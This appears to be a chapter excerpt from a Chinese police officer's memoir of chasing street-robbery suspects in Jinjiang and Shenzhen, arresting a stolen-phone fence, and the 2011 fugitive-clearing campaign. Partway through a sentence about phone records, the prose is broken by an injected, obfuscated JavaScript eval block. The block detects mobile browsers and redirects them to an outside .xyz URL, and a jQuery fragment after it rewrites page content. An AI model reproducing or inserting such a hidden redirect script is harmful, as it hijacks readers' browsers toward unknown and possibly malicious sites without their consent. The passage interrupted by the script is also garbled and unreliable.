这次与王某朋的不期而遇，让我亢奋不已，但是当时劳动教养已经取消，现在要做的是，拿到口供，做实证据链，送他们上法庭接受刑罚。前期通过电子数据的比对碰撞，两人至少参与了十多起的抢夺案件。我们开始了艰难的审讯，我记得王某朋上一次就是死不认账，才逃避刑罚，送去劳教，这一次他必须开口。审讯刚开始，他保持了一贯风格，什么都不认，他使用的手机还是抢来的，他也不认，说是买的二手机，我们开始动脑经，但是多行不义必自毙这句话用于王某朋真是完美，他毒瘾犯了，那种痛苦应该不是装的，在隔壁的同伙听到他在惨叫，很快就供认了多起抢夺案件的犯罪事实，王某朋获知同伙已经全部指认，也开始供述自己参与的案件。案件成功移送起诉，两人虽然在法庭上当场翻供，但是已有的证据链已经做实，两人被判处有期徒刑，送去监狱服刑了，但是案件总案值不高，两人没能重判，三年就可以出来了。 最后一次见到嫌疑人王某朋时，他跟两外三名狱友一起被我擒获。他看上去明显沧桑了很多，也胖了很多，不知道是否还在吸食毒品□□，按照时间推算，应该刚刚出狱不久。他还是老黄历，他被抓的估计都没有想通，我们怎么找上门的，多年的牢狱生活，并没有让他有丝毫悔改，他依然还是头脑简单的想要逃脱法律制裁，因次还在对抗审讯，但是此时我们兵强马壮，参加审讯的民警有十几名，有的是时间和精力，同时前期侦查获取的各路高清视频作为证据，现场扣押的证据物品，销赃人员也一并抓获归案，同时还有多起案件受害人有受伤，有受害人认出了嫌疑人，按照司法实践，飞车抢夺过程中，造成被害人身体受伤的，按抢劫罪论处。 第三次见面，王某朋依然是犯罪嫌疑人，他似乎已经忘记我是谁，不过我没有忘记他，不过尽管是老熟人，但是他丝毫没有给我面子的意思，作为“老运动员”，他还死守他的风格，不过这次他的战术已经没有任何作用，虽然时代一直在变，王某朋一直都没有变。这次他也没有之前的好运气了，因为多起案件定性为抢劫，加上多次的前科，属于累犯，刑法至少七年以上，如果监狱没有减刑的神操作，这会应该还在监狱里劳动。 （六）千里追捕 不知不觉，时间就到了2015年，立体防控体系建设加上不间断的打击，大部分的嫌疑人都在监狱，少部分漏网之鱼，早就远走，流窜到其他地区了，仅有零星的累犯或者临时起意的案件，“两抢”案件零发案已经是新常态，现在发案的目标已经不提了。全省刑事案件如实立破案制度得到很好的执行，虚假立破案要纪律处分的，严重的直接辞退。按照新的绩效考核办法，制定的是考核目标，以之前的破案率作为依据基数，破案率每增长0.1个百分点，就奖励一个级别，两抢的破案率已经无限接近90%了，但是如果下降，惩处措施就很直接了，奖惩直接体现在绩效工资上，还有工作积分上，为了破案大家非常拼。 2015年春节前，鞋都有一起徒步抢夺案，经过侦查，嫌疑人春节前工厂放假，买好火车票第二天回老家，头上晚上出门时，在一处偏僻巷子临时起意动手抢了一部女孩子的一部手机，第二天回老家了。经过多日侦查，发现嫌疑人已经逃回老家，临近春节，刑侦大队依然派出两名侦查员，赶赴江西，经过一周的奋战，将嫌疑人抓获，大年三十押回晋江，嫌疑人仅干了这的案件，案值不到一千元，刚好符合刑事立案标准，但是不够刑事处罚标准，无法刑事诉讼，最后只能行政处罚，以至于配合的当地警方觉得不可思议。一起价值几百元的案件，民警花费大量的时间，和超过一万五千差旅经费，仅仅只是为了破案，晋江刑侦就是这样，不能简单的计算经济成本，这一起案件如果未能及时破获，因为基数小，会拉低两抢案件破案率几个点，这是关键。绩效考核的制度优势得到了充分认可和发挥，我们由衷的佩服局党委的制度设计。这是真实的案例，我没有参与这起案件，但是同样为了破案率，我参与了另外一起的案件追捕。 2015年端午节，罗山发生一起飞车抢夺案，在当地有名的汽车交易市场的一处路口，一名女子手提包被抢。我们在视频侦查过程中，发现嫌疑人从东石骑一辆无牌的摩托车车过来，两地相距40分钟车程，骑摩托车需要一个小时，通过视频侦查，我们花了几天时间调看视频，通过视频一路追踪，嫌疑人走的小路，一路上监控较少，那时监控还没有那么密集，有些需要反复分析，耗时比较久，最后发现嫌疑人在返回东石的路上，在旧路安海与东石交界的地方，消失了。那里都看不到，我们到现场去看，觉得不可思议，嫌疑人似乎人间蒸发了。 这起案件很特殊，嫌疑人独自作案，飞车抢夺单人单车作案的，我们都是第一次遇见，不过多年视频侦查工作积累和总结其他人的成熟经验，我们应该是忽略了什么，或者遗漏了什么，按照实战的方法，我将消失摄像头的周边视频录像，继续向后看，仅仅多看了嫌疑人和车辆消失后面的几十分钟录像，就发现一个异常情况，有一辆救护车曾闪着灯出现那里，几分钟后又返回，为什么救护车这么巧会出现？ 不仅如此，还看到交警的事故勘查车在路口出现，我们做出了一个大胆的推测，在两个路口之间那段路上，嫌疑人驾驶摩托车车速非常快，会不会是遭遇了交通事故，随后的监控录像证实了我们的推测，交警的清障车，车斗里似乎拖着一辆两轮摩托车离开。我们迅速与处理事故的辖区交警中队联系，原来当天，嫌疑人驾车逃跑，车速较快，在经过一个复杂路段时，车辆失控，撞上了一辆货车，人员受伤。受伤的人员在医院治疗，应该就是我们要找的犯罪嫌疑人，我们很快就追到了医院，医院介绍说，伤者有骨折，已经出院，回家休养，根据登记的资料，很快查清人员身份，嫌疑人为洪某，身高1米75左右，体型较胖。为了进一步核实什么，我找到了摩托车，根据车架号登记的车主，确认了车主身份，车主在东石自己经营小工厂，车主介绍，嫌疑人洪某是他亲戚，过来投靠，当日嫌疑人未经允许，偷骑摩托车出门，出了交通事故，不过车主并不知道嫌疑人去抢夺，我们也没有跟他说，车主介绍，嫌疑人洪某已经去广东亲戚那养伤，经过轨迹分析，嫌疑人洪某已经去了广东深圳，车主说的没错，应该是养伤去了。为了早日破案，立即派人追到深圳，但是工作了半个多月，没有任何结果，只好返回。案件就只能暂时放一放。 很快两个月过去，季度的破案率统计马上就要截止，这起抢夺案没有破，两抢破案率的要少几个百分点，这是没有办法接受的，大队和辖区派出所季度考核排名要受很大影响，为了早日破案，大队领导决定派老将出马，最后由我带队，辖区派出所再抽调一名民警配合我，前往深圳，追捕嫌疑人洪某。沿海的交通很便利，沈海高速G15 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虽然住进了医院，但是案件还得办理，连续两天，每天上午打点滴，下午开展工作。经过前期的工作，发现嫌疑人藏身在龙岗坪地，与惠州交界的地方，经常惠州深圳两地流窜，从现有的情况来看，这么能跑，伤应该是好了，抓住他比较好羁押。 坪地街道，隶属深圳市龙岗区，这是一个典型的工业区，属于深圳最边远的地方之一，从市区开车过来，差不多要两小时，我从坪地搭乘公共交通工具我用了近三个小时才到深圳市局。嫌疑人经常活动的位置，位于两个高速的交叉口，是一个老村，现在成了工业园区，继续向东1公里就到惠州市地界，我在整个村里兜了几圈，人非常多，流动性很大，周边几乎都是工厂，外来流动人口居多。深圳警方技术部门通知我，协调好警力第二天准备动手抓捕，我立即赶到龙岗分局刑侦大队，经过多方的协调，最后由龙岗刑侦大队的一个中队配合我们执行抓捕任务。 首次行动那天，天一直很闷热，典型的热带气候，没有雨，也没有太阳，但是能体会到紫外线非常强，这种天气，人非常容易烦躁。整个抓捕过程，状况频出，首先出师不利，机器设备故障，派出故障后又因为操作不熟悉，在现场工作了很久，耽误了很长时间，一直找不到嫌疑人的痕迹，所有人就在那里坐等，等得人心焦。从早上9点等到12点，一点动静都没有，最后技术的同志饿了，就在当地吃饭，吃完他们就回去休息了，上午的行动就草草失败告终。之前我们住在深圳市局边上，为了更好的开展工作，我们干脆就住到了坪地，留宿在坪地街道所在地，一家维也纳酒店里。 龙岗刑侦的同志参与第一次行动失败后，就把我们介绍给了坪地派出所，由他们继续配合我们，刑侦不再派人支援了。自那后，我每天就是泡在当地派出所，请他们给予各种协助，开展相关工作，在他们管刑侦的副所长办公室赖着，偶遇了来自泉州惠安的强哥，强哥听说家乡来人，很高兴，热情的帮我们开展工作。强哥早年来深圳当兵，退伍时遇到深圳大规模招警考试，顺利的通过考试，留在了龙岗分局，后来分到坪地派出所，我们有种他乡遇亲人的喜悦，工作总算有个盼头。深圳的基层派出所建制，跟我们有所不同，分为若干队，名称极具港式风格：社区组（社区民警队、巡逻处警也是他们）；重案组（负责刑事案件侦破的）；支援组（办公室内勤）；案件组（负责办理一般治安和刑事案件）。强哥是派出所重案组的，组员不过，就五六个人，组长是富哥，老警察了，科班出身，警校毕业的，来自东北，一张嘴就是自来熟的东北口音，听着很喜庆，大家聊得很愉快，富哥喜欢踢球，干过很多年的刑侦，大家聊得很起劲，他为人豪爽，热情帮人。第二次抓捕时，富哥带队配合我们，由于他一直在活动，没有一个准确的落脚点，没有办法落地，技术原因未能找到人，这次工作到一半发现嫌疑人直接去了惠州，技术那边不愿意过去，跨界了，富哥没有管他们，开着车直接拉着我们就奔着惠州去追，但是没有追上，到现在我还是很感激他，刑警外出抓人，可不是一件舒服的差事，我干了多年刑警，每年都到出差很多趟，去过高原，待过盆地，进过深山，走过平原，领略过西北的荒凉硬朗，欣赏过江南水乡的柔美，可以说受尽冷暖，尝尽人间酸甜苦辣，仅仅是为了将坏人追捕归案。在外地要克服人生地不熟，饮食不习惯不规律，还要操心各种人身安危等等。全国各地的刑侦，去了以后，大家都像一家人一样，把对方的事，当成自己的事办理，很多时候，先把自己的事情放一放，帮我们把事办理了，再回头办自己业务，希望我们早点完工，早点回去。第二次抓捕失败后，我就开始分析原因，最后我利用当地的视频系统，开始了我的专长，最后在一处视频中找到嫌疑人，原来深圳技术部门业务不熟悉，搞错了方向，错最佳的抓捕时机。 事已至此，无法挽回，我就静候两天，等待嫌疑人从惠州回来，我直接去发现他踪迹的出租房抓他。但是嫌疑人好像知道一样，就是不回来，而且直接从惠州去了广东其他地市，四处游玩，我不能再等，于是找朋友借了一辆车，直接就追了过去，为了搞清楚他现在持有的交通工具情况，方便我们定位抓捕。 我们发现上午他去一个湖登岛游玩，于是赶到码头，在码头守候，却没有守到，嫌疑人可能在我们来之前就已经离开。家里传来消息，嫌疑人已经抵达河源。我们立刻赶到河源，已经是晚上9点多，先找地方休息，按照办案的程序，第二天一早我就找到当地警方配合，警告过一番工作，发现嫌疑人临时住宿的地点，然后直奔嫌疑人可能的落脚点，是一家临街的小酒店，跟旅馆差不过，可惜去晚一步，嫌疑人已经于头天下午离开，进一步核查发现，原来嫌疑人跟另外两人一起过来，由另外两人登记的房间，三个人一起住，根据视频监控，嫌疑人驾驶的是一辆五菱面包车，这就解释了嫌疑人快速四处流动的原因，他有使用的交通工具。之前我们没有发觉，根据当地警方的视频追踪，终于找到了面包车的车票号是一台粤L的车牌，同时掌握了嫌疑人一起的两人身份情况，现在我们坐等他们再次入住，难过的是，当地的一些小旅馆，没有实时登记身份信息，我们没有办法直接预警掌控，只能根据车辆卡口找到嫌疑人驾驶车辆去了哪里。不过，就要吐槽一下广东省的卡口建设了，一个经济强省，号称公安科技信息化建设很厉害，全省的卡口数据都没有联网共享，每个地市只能看自己的，我之前的观念是，广东的公安科技建设是很领先的，但是去了才知道，广东的发展非常不均衡，但是卡口数据联网共享，就很滞后，相比之下，东南省2013年就实现了、浙江省、江苏省则更早，看来科技信息化建设，跟经济实力无关。 现实的情况就是这样，我们必须因地制宜，科学的调整计划，当晚吃完晚饭，我们跟着嫌疑离开的方向，继续追击。 连续多天，跟着嫌疑人后面，把广东省东北部地区跑了个遍，但是五天下来，我都只是跟着嫌疑人后面，他们好像会提前知道消息一样，每次都能提前我们十几个小时离开，或者我们的数据滞后太厉害。我决定不追，直接回深圳等他，根据之前的分析，他的老巢在深圳，就算到处活动，最后总是会回到坪地落脚，当地的人员流动复杂，流动人口也几乎是失控状态，人员情况，基本上也是不清楚的，只能靠细节摸排。出现这种情况，我始料未及，我们决定回深圳，就在坪地那里，等着他回来。 回到深圳第三天，我就收到消息，嫌疑人回来了，晚上在某KTV出现，我立即与坪地派出所值班民警联系，他们调集警力，赶往某KTV，经过摸排，在其中一间包厢内发现嫌疑人，当时包厢里有十几名青年男女，正在热情歌唱，喝酒划拳，我们突然推开门，出示证件，命令所有人坐着别动，坪地所的民警和凶神恶煞的盯着现场的人，我径直走到已经目瞪口呆的嫌疑人洪某面前，他坐在长条形的包厢里最里面，我站在他面前的时候，他全身在颤抖，看得出来，他意识到了会有这一天，不过还是抑制不住恐惧，我拿出备好手铐直接铐在他瑟瑟发抖的手上，顺势就把他从沙发上拉起来，两只手拉到背后，背铐的方式将其铐住，快速的搜身，然后准备带离，我押着嫌疑人出门的时候，他还在发抖，全身半瘫软着靠着我们，我们差不多是把他拖出去的，因为他吨位比较大，我扛不动。 所有辛勤的付出，只有在收获的那一刻你才会觉得没有白费。当晚，在坪地派出所，借用审讯场地进行审讯，刚刚坐到椅子上，嫌疑人洪某就很痛快的交代了所有案件的细节，我都没有来得及跟他多说几句废话，匆匆昨晚第一份笔录，办完移交手续，我就回酒店洗澡去了，晚上终于踏实的好好睡一觉，买好返程的动车票，准备返回。深圳警方的制度很多向香港学习的东西，警种设置、职责划分、休假及福利的保障等等，整个团队运转高效有序。深圳是我去过的唯一一个不用自己送羁押的地区，每个分局都有收押大队，各办案部门，每天按规定的时间，报告要收押的人员情况，收押大队配齐人员车辆过来移交接受，办案单位要做的就是把手续准备好，收押大队会将嫌疑人带回，整个过程非常流程，也非常专业。避免了很多问题，值得学习。 第二天，我们继续办理移交手续，将人领回，派人送我们到动车站，搭乘动车返回。四个半小时，重案队和罗山所的兄弟已经在动车站等我。我将嫌疑人移交给他们，坐车返回大队。 从警十余年，因为工作的原因，在祖国的很多地方都留下了我的足迹，祖国的大好河山，尽在脚下，大部分的时候，都是追着坏人的脚步过去的。每一次的追捕，都是一场未知的旅程，你要面对的危险和挑战，都无法预料，但是每次我都坚信能凯旋而归。大家都说这是一种革命乐观主义精神。每一次归来，都是为了再次的出发。 这个才是真实的我：身体和灵魂，总有一个在路上。 17.第 17 章 （七）“刘德华”归案 经过长时间的打击，晋江辖区内的“两抢”案件几乎销声匿迹了，一年下来不过几十起，重案队都开始研究打击入室盗窃和盗窃鸡鸭了。我们有时间开始做收尾工作，把各个环节漏掉的嫌疑人，在研判一下抓回来，把网上追逃的人员也抓回来。 收尾目标之一是收赃的嫌疑人。之前我们为了打击两抢团伙，通过审讯及分析嫌疑人手机，发现一名湖北籍外号“刘德华”的男子，专门从事销赃，他在磁灶的一个村工业园旁边经营很小的手机店，但是背地里却是大量收购抢夺嫌疑人抢来的手机等“贼赃”，低价收高价出的方式，丛中牟利，几年下来获利颇丰。最初，为了扩大战果，尽量多的打击“两抢”犯罪，我们一直没有抓他，而是通过监控他，确认前来交易的“两抢”嫌疑人，通过这个办法，两年内我们打掉了多个“两抢”犯罪团伙。然后两年过后，已经时过境迁，坏人要么在里面关注，要么早跑了，已经没有犯罪的土壤了，也没有什么人过来销赃了，“刘德华”的生意开始变得惨淡起来，他也萌生了退意。 某日，当我们得知，嫌疑人“刘德华”准备收手不干了，回老家或者可能转移去别的地方，而且最近频繁来回老家。我们怎么可能就这么轻易放过他，他可是犯罪关键的一个环节，还有很多案件等着他去最后来完善证据链。隔着网络数据神交了这么久，是时候见个面，露个真身了。我们决定把他收了。那天我们整理完手上的案件，腾出手来，由我们几个来到他经营的手机通讯店。这是去往一个村级工业园区的路边，有大量的自建民房，大都用于出租，得益于工业园区工厂的建立，吸引来大量的劳动力前来，于是各种服务业就蓬勃发展，但是毕竟工业园规模有限，大约只有一二十家大小不一的工厂，而且科技含量不高，随着经济调整，也开始变得不景气，用工日渐减少，所以这里开始有些萧条，“刘德华”经营的店铺在外围一点，是一个两层小楼，一楼店面，二楼住人，门口较宽，可以停放车辆，店门的门头上是蓝色底，带有中国移动通信标示的招牌，几个大大的白色黑体字“华仔通讯”。 店里只有“刘德华”一个人，坐在收银台后面，他面容清秀，有些美男子的棱角，收银台横向摆在最后，店里靠墙竖向摆有两个展示柜，一个柜子内有几部样品机，另一个柜子里是多信封装的移动手机号码卡，上面用黑色标号笔写有手机号，展示柜和收银台呈“凹”型，我们直接出示证件，将手铐拿出来，铐在了“刘德华”手上，然后开始搜整个店铺和住宿的房间，找到了一些我们想要的证件，予以扣押。 “刘德华”是湖北阳新人，70年代的，来晋江十几年了，刚开始在工厂务工，后来开始自己经营店铺。本不姓刘，因为名字里有个华字，后来开店的时候取名“华仔”，由人长得很帅，道上的兄弟都叫他为“刘德华”，这就是“刘德华”的由来。 “刘德华”及其不配合审讯工作，我用手机展示已经抓获的并且指认他是收赃人的嫌疑人照片，他才开始松口，只要是有证据的，他才认，最后只认了证据确凿的十余起案件，因涉嫌掩饰隐瞒犯罪所得罪被批捕并移送起诉。 后来他老婆过来领取个人非涉案物品时，聊天的时候，跟我们透露，当时她在老家生孩子，除了一些状况，需要一直在医院治疗观察，所以“刘德华”频繁来回老家，并且准备店铺退了，他老婆跟我们解释，说当时住院需要很多钱，所以才会铤而走险。想要挣钱，要走正道，需要吃苦积累，又想轻松又想钱多的方法都在《刑法》里写着呢，不过得承担法律成本。 二.徒步抢夺 徒步抢夺，是继飞车抢夺和抢劫后，摆在我们面前的一个顽疾。其档次、水平、判罚都比较低的一种犯罪，正因为这些特点，违法的机会成本低，我第一次处理的行政处罚案件就是抢夺。由于成本低，所以此类案件一直未消失匿迹，时不时的就出现一次。此类案件随机型、偶发性高，多发生在夜间，广泛存在于小街小巷内，大多趁着小巷光线暗，道路复杂，容易藏身这些外部特征来实施犯罪行为。作案手段就是事先埋伏在某个小巷的暗处，随机的等来往的路人，一旦落单或者警惕性差，嫌疑人就从黑暗的角落里冒出来，抢夺被害人的财物，然后徒步逃离现场，利用小街小巷光线暗，道路复杂的特点，闪入黑暗中，让人无法快速追上，然后就逃之夭夭。 鞋都镇因为历史原因，有很多这样的没有路灯，很窄很暗的小街小巷，黑灯瞎火的，经常会出现徒步抢夺的案件。由几个常发区域，洋埭村和洋埭李交界的旧村，全都是旧房子，小巷子曲折狭窄，容易藏身，容易跑；洋埭村中兴街，这是一条步行街，东西朝向，沿河而建，东起洋埭村委会，西至七一路口，中兴街全长接近一公里，经常发生案件的区域集中在洋埭菜市场至七一路这一段。因为历史原因，这一路段两边超级多的小巷子，这里人员来往比较多，属于非常复杂的地方，嫌疑人常常藏在小巷子口里面一点的暗处，以夜色黑暗作为掩护，当有行人（主要是针对女性，该条街店铺很多，夜间来往女性居多）从该巷子口经过时，突然冲出来，抢到物品，转身跑回巷子，利用四通八达的巷子，快速逃离现场。一般是抢个包，或者抢个手机，抢个首饰什么的。 还有一个区域就是横坂到下村这一片，横板是跟池店镇交界，容易逃窜，我最不理解的是为什么下村那一代也多，可能嫌疑人从洋埭过来，离下村比较近吧。相对来说，洋埭村中兴街的案件比较高发，而且在闹市区，影响恶劣，群众反映也很强烈，但是徒步抢夺案件侦破难度其实比抢劫、飞车抢都要难。起初我们打击的方法就是两样，布建耳目线人和技术侦查，但是条件不要，取得的效果都是很差。飞车抢夺案件几乎匿迹的时候，徒步抢夺的是不是的冒出来，闹一闹。我们制定了比较务实的目标：抓获几个嫌疑人，破获一些案件，打击一下，震慑一下这些人。 徒步抢夺不比飞车抢夺，活动范围较小，通过技术手段进行侦查难度大，效果一般。不过刚开始我们还是可以通过这个办法，找到几个嫌疑人，但是随着侦查手段的暴露，抓获嫌疑人越来越难。随着打击的深入，徒步抢夺案件，也在大幅下降，但是时有发生，主要集中在洋埭村及周边，我们在耐心等待嫌疑人露出破绽。 通常情况下，我们采取的行动策略是，打防结合，即持续高压不间断的打击，将嫌疑人关进监狱，另一个方面，则是加强建设社会防控体系，核心是公安机关及其领导管理的群防群治机构和组织，有条件的行政村，几乎都建立了专业的治安巡逻队，作为群防主力。但是，洋埭村社情比较复杂，而洋埭村的治安巡逻队管理较为懒散，在治安防范工作上措施比较呆板，加上队员与社会闲散人员关系较为暧昧，警务工作信息经常性泄露，靠他们防范是比较困难的事情。 洋埭村：因地域的开发而得名，与自然地理有密切关系。《尔雅释诂》日：“洋，多也。”又，“洋为平洋也。”《正韵》日：“埭，以土堰水也。”以土堰筑成埭，埭里平整土为为住居地；垦荒耕地为田畴，一派平洋，地以此名之，称之为 “洋埭”。位于安平市东北部，与晋江地区区隔晋江相望，据清乾隆《泉州府志》载：宋初，平海军节度使陈洪进于晋江岸沿海沙涂滩筑堤成埭，其族人迁徙此居住，垦荒耕种，繁衍生息，地因之名，“鞋都”。“洋埭”位于鞋都北面。该志又载：“洋埭之水由四十一都陈三坝而来，下通洛阳江。于围二百二十七丈，深二丈。” 可以查的史料：五代南唐乾德十一年（936年），平海军节使陈洪进派兵筑堤晋江下游南岸尚堤屯田，开三埭，始有洋埭地域。宋代绍兴六年（1136年）邑人李密，李国表向知县洪元英请求间湮浦埭水利工程。建毕设塘司、徒首管理。历史悠久，历代开发的农田，被称为晋东平原，有着万亩良田，不过分属周边六个村。一直以来都是晋江的粮仓，不愁吃穿。改革开放以后，洋埭村不甘人后，敢闯爱拼，办起了大量的工厂企业，经济红火，企业中有多家是上市公司。 当代的洋埭村是鞋都第一大村，人口众多，本籍人口约8000人，外来流动人口长期保持在五万人左右的水平，特点是企业多，登记在册的大小企业超多360家，2012年时，产值就超过7亿元人民币，还有数量众多的配套小作坊工厂，经济基础好，市场发达，人员密集，被称为鞋都北部经济中心。治安特点是，形势复杂，为了管好这个村，派驻的社区片警最多的时候六个人，最少时也有三名社区民警，否则工作做不完。在那十年间，洋埭村一直是鞋都镇案件最多的村，治安环境最复杂，没有之一。长年的治安案件、刑事案件都是最多的，主要是因为人口众多，人口多带来的社会问题也多。洋埭给我留下的记忆非常深刻，我们抓获的嫌疑人中，在洋埭村藏身的也是最多的，简而言之，我们在洋埭村抓人最多。各项不太好的指标，洋埭队都是榜上有名。发案高，治安满意度低是其典型特点。2015年，晋江将鞋都镇派出所拆分为三个派出所，其中新组建的滨江派出所，驻地就位于洋埭村，足见其地理位置的重要性。 我曾经在洋埭村蹲点，参加出租房旅馆式服务管理试点，尝试使用信息化的手段管理租赁房屋，以此管理流动人员，但是收效甚微，弄了几个月，最后搞不下去。我就撤了，最后去了刑侦。开始了光荣岁月。应该说我对洋埭村还是有一些了解的，至少地理环境还是很熟悉的。 飞车抢夺被打压下去后，我们终于腾出手来，有时间，开始经营调查徒步抢夺案件，重点就放在洋埭村。梳理大量的案件，从中串并嫌疑人，经过一段时间的调查，嫌疑人终于露出了破绽， 有一名嫌疑人在抢夺完被害人的手机后，使用被害人的手机，被我们细心的民警发现，但是被害人报案称晚20时许，走路时，手机拿在手上，但是被抢，头天晚上接的案件，第二天，民警会继续整理串并，同时会将被害人的手机数据去刷了一下，并挖掘一下，首先就在话单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822966|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里发现，被害人使用过手机号码，为了证实这个发现，还特意请来被害人，确认使用的手机号，以及具体的作案时间，被害人手机被抢后，当晚没有申请新卡，且被抢手机时间，绝对在手机使用记录之前，而且手机的对方号码是一个陌生号码。确认了这个情况，我们开始扩线，通过对陌生号码手机数据的分析挖掘又经过了多轮的数据分析碰撞，我们艰难的找到了嫌疑人使用的手机号码，通过确认嫌疑人案发时的确在现场，然后对嫌疑人手机号码开展工作，确认他是否有同伙。最后在技术部门的支持下，又找到几名抢夺的嫌疑人。 在我们研究案件的时候，又发生一起徒步抢夺，这次比较特殊，嫌疑人是在白天实施抢夺，时间是傍晚天黑前，可能嫌疑人在现场埋伏，等不及到天黑，就动手了，监控拍下了他作案后逃跑的视频，通过调阅视频监控录像，我们一路跟踪，发现其消失在龙林小学门口旁边的小路上，经过去现场确认，以及周边监控的排查，得出结论大概就住在那一带。 之前掌握的嫌疑人手机，也住在那小学一代，分析那里有个贼窝，现在我们要做的事情是考虑如何抓捕。按照之前在洋埭村抓捕飞车抢夺嫌疑人的经验，他们都藏身在洋埭村本地的租房或者工厂宿舍内，藏身在工厂宿舍，是伪装成其他身份。租房则是没有人管理的那种租房，避免被人发现异常，嫌疑人普遍都有一定反侦察意识。 在龙林小学附近，开展摸排工作后，我们大概判定了区域，其中一个就在路口的租房内。为了不打草惊蛇，我们没有深入开展工作，而是静等在技术部门的支撑。终于，条件成熟，开始收网行动，跟我们事先预判的不一样，嫌疑人并没有住在一起，不过住的地方相距不远，在实施抓捕的时候，我突然有一种回到梦境的错觉，似乎冥冥中注定我要来，或者说第六感，之前的梦中我就在这里抓捕嫌疑人，多年以来，一直到现在，时常有这种梦境伴随着我。 抓捕行动不太顺利，由于内部建筑结构复杂，加上大部分是自建房屋，还是多次搭建的，需要一层层排查，排查了很久都没有发现，说来也巧，我们下楼准备离开时，在门口遇见一个很眼熟的人，好奇心驱使下，把人拦下来排查，果然是嫌疑人，真是踏破铁鞋无觅处，得来全不费工夫。一问，原来嫌疑人在对面楼里玩，我直接扑向对面楼里，在一房间，抓获另两位嫌疑人，原来这些人全都认识，平时还交流心得呢。 审讯出乎意料的顺利，抓回来的三个人一进审讯室就怂了。如实供述了各自的犯罪行为。 我们本以为案件会被打压下去，谁曾想，徒步抢夺案如同韭菜一样，割了一茬又长出一茬，这次嫌疑人未能留下很多的线索。无奈之下，我们开始了蹲守，那个时候，鞋都中队剩三个组了，我是副中队长带领一个组，三个组的民警，每天安排良民值班民警，着便衣，轮流去现场附近守候，根据被害人描述的嫌疑人特征，在人群中搜索。那段时间，我们几个人，只要是值班，没啥事的时候，就带着几名辅警，出现在洋埭村步行街，为什么脚步行街，其实就是河边上一条很窄的路上，无法通行车辆，这条路两旁有很多店铺，售卖各种物品，衣服、饰品等。因为白天也好，晚上也好，来往的人非常多，形成了一条热闹繁华的街道，其实这种浮华背后，暗藏着罪恶。这条街有很多个过河桥，同样也有很多个小巷口，前面也说了，一到夜间就是黑灯瞎火的，为了能抓获犯罪嫌疑人，我门在嫌疑人可能出现的时间段，就在那条街上来回转悠，最繁华的那段街道，仅有两百米，轮到我这组的时候，我们是轮流去的政策，身为组长我也不例外，轮到我去守候时候，我总是会来回走上几十遍，我几乎记住每一个店铺的招牌，而店铺的人几乎都认识我，基本上我的身份是暴露了，有几条黑灯瞎火的巷子，我们专门走那里过，有时还钻进巷子里，试图碰见埋伏在那里的嫌疑人或者抓个现行。不过事与愿违，每当我们出现时，嫌疑人似乎得到消息，总是不出现，我们一不在，或者撤防，他就出来作案，彼此形成了拉锯战。既然想抓现行不太容易，干脆我们就专为防范，行动方式变成了每天在案发高峰时段，派人去现场，以此来防范案件发生。每天花时间阻止案件发生，但是嫌疑人受不了，之前作案获得的财物，变现后很快就会花光，如果吸毒就更快。我们等待的嫌疑人，肯定会有憋不住的时候，预感很快就会出现。 事情总是有转机，某天不是我值班，但是我们照例是安排人员便衣去蹲守，如果没有派人去，发生了案件，没有抓到人，领导说追责，所以大家虽然有些不太情愿，但是每天照例都是安排人员去的。当晚就一名嫌疑人鬼使神差的出现，抢夺时一头冲进巷子，却直接撞到了守候的民警面前，直接被抓获，并带回审讯，经过高强度审讯，嫌疑人交代了多起在洋埭村步行街抢夺的犯罪事实。现场抓到嫌疑人的消息，已经传播出去，当地的徒步抢夺案件，似乎就销声匿迹了。战役取得阶段性胜利。 我们的目光开始转向盗窃犯罪。 18.第 18 章 对于刑警来说，追逃是个永恒的话题。刑警一个很重要的工作就是追逃，将犯罪嫌疑人抓捕归案。这些在逃人员我们有个俗称：逃犯。后来有了网上追逃，称之为“网逃”，这些“网逃”还有一个很可爱的称呼：桃子或者蜜桃。 一般来说逃犯包括两类，一类是历年遗留下来未能抓获的；第二类是新发现的嫌疑人，在逃的。这两类通常都会登记在公安内网网上追逃系统里。在没有这个系统以前，如果在一个地方犯了案，跑到一个新地方基本上就可以重新开始生活，其他地方公安机关无法确认该人是否涉嫌犯罪，除了发布通缉令或者协查函到可能的地方外，就没有其他办法了。一般都是抓到一个嫌疑人，就根据嫌疑人自报的身份信息，打电话发传真到户籍地询问是否有负案在逃，随着改革开放，人员流动进一步增大，这种模式已经无法适应打击需要了。为了统筹解决这一问题，为了方便全国追逃工作的顺利开展，更好的打击各类违法犯罪人员，让他们无处可逃，2001年，公安部刑侦局就建设完成了CCIC数据库，用于登记各个省的在逃人员身份，各省都有分库，用于比对人员信息，随着库内人员越来越多，金盾一期、二期工程建设完成，公安内网使用普及，追逃系统就升级成为现有的全国在逃人员信息库。 一、清网行动 从2006年开始，网上在逃人员的数量呈几何时增长，虽然抓获网逃人员列入各级公安机关考核，但是还是抑制不住增长的势头，到2010年底，在逃人员数量已经超过30万，这个数字非常惊人，主要愿意有多个：一是刑事案件的增长速度很快，坏人增多了；二是公安机关破案手段和水平提高，特别是科技的进步加上侦查水平不断提高，很多案件得以查清嫌疑人身份；三是：警力跟不上，没有时间和精力，派出人员四处追捕，特别是小案件；三是很多公安机关，为了节省经费，把人员身份查清后，并没有继续追捕，而是放在网上，等其他抓获，再去押回来处理。最后一个原因是犯罪嫌疑人的反侦察意识日益增长，有“道高一尺魔高一丈”的势头，越来越难抓了，所以抓捕数抓捕率在下降。 □□高瞻远瞩，发现了这个势头，于是从政治角度出发，尽可能多的把坏人收进监狱，为2012年十七大召开提供好的社会环境；解决很多群众反映久拖不破的案件问题；加强公安机关追逃工作等多个角度出发， 公安部在2011年在全国范围内，开展了一场声势浩大的“清网行动”，全国的公安机关行动起来，目标直指数量庞大的网上在逃人员，具体的工作就是要清理网上在逃人员。上次全国性的统一行动还是90年底的严打行动。中央多位领导多次就“清网行动”做出批示，并参加动员会议，可以看出，中央对此次行动的重视程度。 